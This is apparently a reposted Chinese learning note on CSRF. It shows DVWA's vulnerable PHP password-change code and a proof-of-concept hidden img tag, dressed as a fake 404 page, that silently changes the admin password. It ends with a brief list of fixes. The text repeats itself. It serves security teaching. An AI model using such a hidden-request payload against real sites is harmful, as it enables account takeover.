CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
2017-03-11 02:48
323 查看
+++++++++++++++++++++++++++
+ 00x1 实现简单的攻击
+ 00x2 代码审计漏洞的源头
+++++++++++++++++++++++++++
00x1 简单的csrf攻击开始了
下面是一个修改密码的修改框:
View Code
在第10行只是将检测$pass_new和$pass_conf是否相同哦(也就是两次输入的密码是否相同),然后使用mysql_Real_escaoe_String函数进行了过滤sql注入,然后就执行sql来修改密码。如此没有对referer的判断便导致了csrf漏洞。
写poc的时候可以那么写:
效果如下:
会写成几篇文章,最后写出如何修复的答案,欢迎朋友们留言讨论。
Csrf的修复
验证http referrer
在请求地址当中添加token并且验证
自定义http头中自定义属性并且验证
+ 00x1 实现简单的攻击
+ 00x2 代码审计漏洞的源头
+++++++++++++++++++++++++++
00x1 简单的csrf攻击开始了
下面是一个修改密码的修改框:
<?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_new = $_GET['password_new']; $pass_conf = $_GET['password_conf']; if (($pass_new == $pass_conf)){ $pass_new = mysql_real_escape_string($pass_new); $pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';"; $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); $html .= "<pre> Password Changed </pre>"; mysql_close(); } else{ $html .= "<pre> Passwords did not match. </pre>"; } } ?>
View Code
在第10行只是将检测$pass_new和$pass_conf是否相同哦(也就是两次输入的密码是否相同),然后使用mysql_Real_escaoe_String函数进行了过滤sql注入,然后就执行sql来修改密码。如此没有对referer的判断便导致了csrf漏洞。
写poc的时候可以那么写:
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
效果如下:
会写成几篇文章,最后写出如何修复的答案,欢迎朋友们留言讨论。
Csrf的修复
验证http referrer
在请求地址当中添加token并且验证
自定义http头中自定义属性并且验证
相关文章推荐
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x3】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x2 】
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- CSRF的攻击与防御学习笔记(二)
- CSRF攻击原理以及防御
- CSRF攻击原理以及nodejs的实现和防御
- MVC 3.0学习笔记(防止跨站点请求伪造 (CSRF) 攻击)
- CSRF安全攻击原理,以及防御措施
- CSRF学习笔记之CSRF的防御
- 【安全牛学习笔记】CSRF跨站请求伪造攻击漏洞的原理及解决办法
- SSH学习笔记之hibernate中的set排序以及struts中的token
- SQL Server学习笔记之三(如何让数据库抵御外界的攻击)
- delphi.net开发学习笔记(2),Application、Session、ViewState、Cookies状态以及变量处理
- Hibernate 学习笔记-1-3(Hibernate的基本映射以及几种主键生成策略的测试)
- 学习笔记:使用Web Service Software Factory开发简易留言本服务以及Mobile调用实现-1.创建Service